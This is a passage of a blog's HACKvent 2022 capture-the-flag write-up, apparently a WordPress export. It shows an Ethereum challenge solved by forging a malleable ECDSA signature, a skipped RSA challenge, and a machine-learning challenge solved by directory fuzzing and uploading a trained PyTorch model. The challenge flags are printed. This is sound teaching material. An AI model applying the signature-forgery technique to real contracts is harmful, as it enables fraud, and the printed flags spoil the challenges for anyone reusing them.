s.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><a href=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-137.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"388\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-137-1024x388.png\" alt=\"\" class=\"wp-image-2202\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-137-1024x388.png 1024w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-137-300x114.png 300w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-137-768x291.png 768w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-137-1536x582.png 1536w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-137-500x190.png 500w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-137.png 1612w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/a><\/figure>\n\n\n\n<p>We can sign a message on the challenge page and alter the signature to fit the formula we learned for the attack.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><a href=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-139.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"127\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-139-1024x127.png\" alt=\"\" class=\"wp-image-2204\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-139-1024x127.png 1024w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-139-300x37.png 300w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-139-768x95.png 768w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-139-1536x190.png 1536w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-139-2048x253.png 2048w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-139-500x62.png 500w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/a><\/figure>\n\n\n\n<p>Split the signature apart:<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">r: 0x4376e080ecee0dfcabc50ea40f82a76f9e7862d4f916424ece10a140b2664437\ns: 0x51a1c6ff0ebf355139c17d613580f57d3b383f7e5f8c6ac19724fc10fb495953\nv: 0x1b<\/pre>\n\n\n\n<p>Calculate the new signature (r, n-s):<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">r: 0x4376e080ecee0dfcabc50ea40f82a76f9e7862d4f916424ece10a140b2664437\nn - s: 0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141 - 0x51a1c6ff0ebf355139c17d613580f57d3b383f7e5f8c6ac19724fc10fb495953\n--&gt; 0xae5e3900f140caaec63e829eca7f0a817f769d684fbc357a28ad627bd4ece7ee<\/pre>\n\n\n\n<p>New signature to submit:<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">0x4376e080ecee0dfcabc50ea40f82a76f9e7862d4f916424ece10a140b2664437ae5e3900f140caaec63e829eca7f0a817f769d684fbc357a28ad627bd4ece7ee<\/pre>\n\n\n\n<p>I now tried to send the signed message &#8220;santa&#8221; as bytes, with this signature to the Challenge contract. But it didn&#8217;t work. Then I discovered (with a hint) that the message was extra encoded. The message was encoded with the <a rel=\"noreferrer noopener\" href=\"https:\/\/ethereum.org\/en\/developers\/docs\/apis\/json-rpc\/#eth_sign\" target=\"_blank\">eth_sign()<\/a> method, that does this: <\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"java\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">sign(keccak256(\"\\x19Ethereum Signed Message:\\n\" + len(message) + message)))<\/pre>\n\n\n\n<p>As keccak256() is already called in the Challenge contract, we only need to concatenate the right message and convert it to bytes. I created this little Python code to do this:<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"python\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">msg=\"santa\"\nethsign=\"\\x19Ethereum Signed Message:\\n\" + str(len(msg)) + msg\nprint(\"0x\"+ethsign.encode().hex())<\/pre>\n\n\n\n<p>Combining all of this and calling the solve() function of the Challenge contract works and returns the flag on the web site.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><a href=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-141.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"681\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-141-1024x681.png\" alt=\"\" class=\"wp-image-2206\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-141-1024x681.png 1024w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-141-300x199.png 300w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-141-768x510.png 768w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-141-451x300.png 451w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-141.png 1121w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/a><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><a href=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-142.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"504\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-142-1024x504.png\" alt=\"\" class=\"wp-image-2207\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-142-1024x504.png 1024w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-142-300x148.png 300w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-142-768x378.png 768w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-142-1536x756.png 1536w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-142-2048x1008.png 2048w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-142-500x246.png 500w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/a><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\">Flag<\/h2>\n\n\n\n<p>HV22{H1dd3N_1n_V4n1Ty}<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h1 class=\"wp-block-heading\">[HV22.24] It&#8217;s about time for some RSA<\/h1>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"818\" height=\"118\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-143.png\" alt=\"\" class=\"wp-image-2210\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-143.png 818w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-143-300x43.png 300w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-143-768x111.png 768w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-143-500x72.png 500w\" sizes=\"auto, (max-width: 818px) 100vw, 818px\" \/><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\">Description<\/h2>\n\n\n\n<p>Santa is giving autographs! And at the end of the signing session he&#8217;ll also give out the flag! But better hurry; as Santa has lot&#8217;s to do this time of year, he can only spent so much time to giving out autographs.<\/p>\n\n\n\n<p>PS: Thanks to the latest in cloning technology, there are six Santas, so up to six signing session can take place at the same time!<\/p>\n\n\n\n<p><em>This challenge was written by&nbsp;<strong>LogicalOverflow<\/strong>. The only thing that overflowed was my brain when I saw that challenge.<\/em><\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Solution<\/h2>\n\n\n\n<p>No solution. \ud83d\ude2e\u200d\ud83d\udca8\ud83d\ude22<br>This challenge came out on the 24th of December, and we got 48 hours to receive total points. As I heard that people were trying to solve the challenge for 30hours+ and still nobody solved it, I decided to skip this challenge entirely. Implementing a scientific, mathematical paper was needed to get the flag. I decided that I instead spend the two Christmas days with my family. \ud83c\udf84\ud83c\udf84\ud83c\udf84<\/p>\n\n\n\n<p>Congratulations to all who managed to solve the challenge in the end! <\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<h1 class=\"wp-block-heading\">[HV22.25] Santa&#8217;s Prophesy<\/h1>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"818\" height=\"118\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-144.png\" alt=\"\" class=\"wp-image-2211\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-144.png 818w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-144-300x43.png 300w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-144-768x111.png 768w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-144-500x72.png 500w\" sizes=\"auto, (max-width: 818px) 100vw, 818px\" \/><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\">Description<\/h2>\n\n\n\n<p>Based on an old fairytale from Kobeliaky, Santa can provide more than presents. He can show you the future!<\/p>\n\n\n\n<p><em>This challenge was written by&nbsp;<strong>ShegaHL<\/strong>. Rumors say, she predicted all of Hackvent&#8217;s flags with her AI skills.<\/em><\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Solution<\/h2>\n\n\n\n<p>Surprise challenge on day 25 &#8211; never before was a challenge on day 25 at HACKvent. As I decided to skip day 24, I could fully concentrate on the surprise challenge, and I got first blood for this one! \ud83e\ude78<\/p>\n\n\n\n<p>The website holding this challenge looks like this.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><a href=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-145.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img loading=\"lazy\" decoding=\"async\" width=\"917\" height=\"1024\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-145-917x1024.png\" alt=\"\" class=\"wp-image-2212\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-145-917x1024.png 917w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-145-269x300.png 269w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-145-768x857.png 768w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-145.png 1265w\" sizes=\"auto, (max-width: 917px) 100vw, 917px\" \/><\/a><\/figure>\n\n\n\n<p>While looking closer at the image on the website with Hexdump, I identified that data is attached at the end of the image. <\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><a href=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-153.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"605\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-153-1024x605.png\" alt=\"\" class=\"wp-image-2226\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-153-1024x605.png 1024w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-153-300x177.png 300w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-153-768x454.png 768w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-153-500x296.png 500w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-153.png 1507w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/a><\/figure>\n\n\n\n<p>It looks like a CSV file structure starting like this:<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">x,y\n9.340596780273533,9.340596780273533\n0.944644983514447,0.944644983514447\n9.453687199297686,9.453687199297686\n4.296319873487294,4.296319873487294\n3.954576491945417,3.954576491945417\n-5.678210088392472,-5.678210088392472\n9.525489095524836,9.525489095524836\n-9.875394895908203,-9.875394895908203\n-4.940352752331121,-4.940352752331121\n-1.304169351911085,-1.304169351911085\n5.587658435875049,5.587658435875049\n-6.046298507994939,-6.046298507994939\n7.259864711984445,7.259864711984445\n9.668013543506255,9.668013543506255\n-6.723155171906026,-6.723155171906026\n...<\/pre>\n\n\n\n<p>According to the hint in the challenge description, I identified the \/upload directory on the website with the tool &#8220;wfuzz&#8221;.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><a href=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-147.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"566\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-147-1024x566.png\" alt=\"\" class=\"wp-image-2214\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-147-1024x566.png 1024w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-147-300x166.png 300w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-147-768x424.png 768w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-147-1536x848.png 1536w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-147-500x276.png 500w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-147.png 1818w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/a><\/figure>\n\n\n\n<p>I tried to upload different files but soon found that we needed to upload a trained model passing the implementation shown on the website.<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><a href=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-148.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img loading=\"lazy\" decoding=\"async\" width=\"903\" height=\"195\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-148.png\" alt=\"\" class=\"wp-image-2215\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-148.png 903w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-148-300x65.png 300w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-148-768x166.png 768w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-148-500x108.png 500w\" sizes=\"auto, (max-width: 903px) 100vw, 903px\" \/><\/a><\/figure>\n\n\n\n<p>Trying to implement a trained model with PyTorch slowly led to some results.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><a href=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-149.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"68\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-149-1024x68.png\" alt=\"\" class=\"wp-image-2216\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-149-1024x68.png 1024w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-149-300x20.png 300w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-149-768x51.png 768w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-149-1536x103.png 1536w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-149-500x33.png 500w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-149.png 1540w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/a><\/figure>\n\n\n\n<p>With this code I received promising results, but still no flag:<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"python\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">import torch\nimport numpy as np\nfrom torch import nn\n\n# Define the model\nmodel = nn.Linear(1, 1)\n\n# Define the loss function and optimizer\nloss_fn = nn.MSELoss()\noptimizer = torch.optim.SGD(model.parameters(), lr=0.01)\n\n# Load the training data\ndata_training = np.loadtxt(\".\/test_data.csv\", skiprows=1, delimiter=',')\nx_train = data_training[:,0]\ny_train = data_training[:,1]\n\n# Convert the data to tensors\nx_train = torch.from_numpy(x_train.reshape((4000, 1))).float()\ny_train = torch.from_numpy(y_train.reshape((4000, 1))).float()\n\n# Train the model\nfor epoch in range(100):\n  # Forward pass: compute predicted y by passing x to the model\n  y_pred = model(x_train)\n\n  # Compute the loss\n  loss = loss_fn(y_pred, y_train)\n\n  # Zero the gradients before running the backward pass\n  optimizer.zero_grad()\n\n  # Backward pass: compute gradient of the loss with respect to all the learnable parameters of the model\n  loss.backward()\n\n  # Update the parameters using gradient descent\n  optimizer.step()\n\n# Save the trained model\ntorch.jit.save(torch.jit.script(model), \"result.pt\")<\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><a href=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-150.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"68\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-150-1024x68.png\" alt=\"\" class=\"wp-image-2217\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-150-1024x68.png 1024w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-150-300x20.png 300w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-150-768x51.png 768w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-150-1536x103.png 1536w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-150-500x33.png 500w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-150.png 1540w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/a><\/figure>\n\n\n\n<p>I decided to use AI to help me solve the AI challenge. \ud83e\udd2f\ud83e\udd2f<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><a href=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-151.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"817\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-151-1024x817.png\" alt=\"\" class=\"wp-image-2218\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-151-1024x817.png 1024w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-151-300x239.png 300w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-151-768x612.png 768w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-151-376x300.png 376w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-151.png 1531w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/a><\/figure>\n\n\n\n<p>With this crucial hint and the further help of ChatGPT, I managed to create the final code.<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"python\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">import itertools\nimport numpy as np\nimport torch\nimport torch.nn as nn\n\n# Define the model and the hyperparameters to search over\nmodel = nn.Sequential(\n    nn.Linear(1, 10),\n    nn.ReLU(),  # Add this line\n    nn.Linear(10, 10),\n    nn.ReLU(),  # Add this line\n    nn.Linear(10, 1)\n)\nlearning_rates = [0.001, 0.01, 0.1]\nnum_layers = [1, 2, 3]\n\n# Define the loss function and the optimizer\nloss_fn = nn.MSELoss()\noptimizer = torch.optim.SGD(model.parameters(), lr=0.01)\n\n# Load the training data\ndata_training = np.loadtxt(\".\/test_data.csv\", skiprows=1, delimiter=',')\nx_train = data_training[:,0]\ny_train = data_training[:,1]\n\n# Convert the data to tensors\nx_train = torch.from_numpy(x_train.reshape((4000, 1))).float()\ny_train = torch.from_numpy(y_train.reshape((4000, 1))).float()\n\n# Perform grid search\nbest_loss = float('inf')\nbest_hyperparameters = None\nfor lr, layers in itertools.product(learning_rates, num_layers):\n  # Set the hyperparameters\n  model[0].in_features = 1\n  model[0].out_features = 10**layers\n  model[2].in_features = 10**layers\n  model[2].out_features = 1\n  optimizer.param_groups[0]['lr'] = lr\n\n  # Train the model\n  for epoch in range(100):\n    # Forward pass: compute predicted y by passing x to the model\n    y_pred = model(x_train)\n\n    # Compute the loss\n    loss = loss_fn(y_pred, y_train)\n\n    # Zero the gradients before running the backward pass\n    optimizer.zero_grad()\n\n    # Backward pass: compute gradient of the loss with respect to all the learnable parameters of the model\n    loss.backward()\n\n    # Update the parameters using gradient descent\n    optimizer.step()\n\n  # Save the best model\n  if loss &lt; best_loss:\n    best_loss = loss\n    best_hyperparameters = (lr, layers)\n\n# Print the best hyperparameters\nprint(f\"Best hyperparameters: learning rate={best_hyperparameters[0]}, num_layers={best_hyperparameters[1]}\")\n\n# Set the best hyperparameters\nmodel[0].in_features = 1\nmodel[0].out_features = 10**best_hyperparameters[1]\nmodel[2].in_features = 10**best_hyperparameters[1]\nmodel[2].out_features = 1\noptimizer.param_groups[0]['lr'] = best_hyperparameters[0]\n\n# Train the model with the best hyperparameters\nfor epoch in range(100):\n  # Forward pass: compute predicted y by passing x to the model\n  y_pred = model(x_train)\n\n  # Compute the loss\n  loss = loss_fn(y_pred, y_train)\n\n  # Zero the gradients before running the backward pass\n  optimizer.zero_grad()\n\n  # Backward pass: compute gradient of the loss with respect to all the learnable parameters of the model\n  loss.backward()\n\n  # Update the parameters using gradient descent\n  optimizer.step()\n\n# Save the trained model\ntorch.jit.save(torch.jit.script(model), \"result.pt\")<\/pre>\n\n\n\n<p>This code trained an accurate enough model, and I could collect the flag.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><a href=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-152.png\" target=\"_blank\" rel=\"noreferrer noopener\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"44\" src=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-152-1024x44.png\" alt=\"\" class=\"wp-image-2219\" srcset=\"https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-152-1024x44.png 1024w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-152-300x13.png 300w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-152-768x33.png 768w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-152-1536x66.png 1536w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-152-500x22.png 500w, https:\/\/sigterm.ch\/wp-content\/uploads\/2022\/12\/image-152.png 1883w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/a><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\">Flag<\/h2>\n\n\n\n<p>HV22{AA21B6AB-4520-4AD2-8016-4A9F2C371E6E}<\/p>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n","protected":false},"excerpt":{"rendered":"<p>Welcome to my HACKvent CTF competition write-up! I was fortunate enough to participate in this annual event for the seventh year. Each day in the lead-up to Christmas, a new cybersecurity challenge was released, testing my technical skills, problem-solving abilities, &hellip; <a href=\"https:\/\/sigterm.ch\/?p=1950\">Continue reading <span class=\"meta-nav\">&rarr;<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":true,"template":"","format":"standard","meta":{"footnotes":""},"categories":[7,5],"tags":[193,197,199,201,186,192,30,187,38,177,203,175,182,191,196,200,198,181,188,185,125,189,128,129,130,190,194,204,180,179,184,164,165,202,183,176,178,195],"class_list":["post-1950","post","type-post","status-publish","format-standard","hentry","category-ctf","category-security","tag-aes","tag-aes-ecb","tag-ai","tag-artificial-intelligence","tag-aws","tag-baud-rate","tag-blockchain","tag-cloud-security","tag-crypto","tag-csrf","tag-ecdsa","tag-ethereum","tag-forensics","tag-frequency","tag-john-the-ripper","tag-machine-learning","tag-ml","tag-network-analysis","tag-privilege-escalation","tag-prototype-pollution","tag-python","tag-radio","tag-reverse-engineering","tag-reverse-shell","tag-reversing","tag-sdr","tag-sha1","tag-solidity","tag-sqli","tag-sqlinjection","tag-text4shell","tag-web","tag-web-application-security","tag-web3","tag-wireshark","tag-xor","tag-xss","tag-zip-cracking"],"_links":{"self":[{"href":"https:\/\/sigterm.ch\/index.php?rest_route=\/wp\/v2\/posts\/1950","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/sigterm.ch\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/sigterm.ch\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/sigterm.ch\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/sigterm.ch\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=1950"}],"version-history":[{"count":63,"href":"https:\/\/sigterm.ch\/index.php?rest_route=\/wp\/v2\/posts\/1950\/revisions"}],"predecessor-version":[{"id":2245,"href":"https:\/\/sigterm.ch\/index.php?rest_route=\/wp\/v2\/posts\/1950\/revisions\/2245"}],"wp:attachment":[{"href":"https:\/\/sigterm.ch\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=1950"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/sigterm.ch\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=1950"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/sigterm.ch\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=1950"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}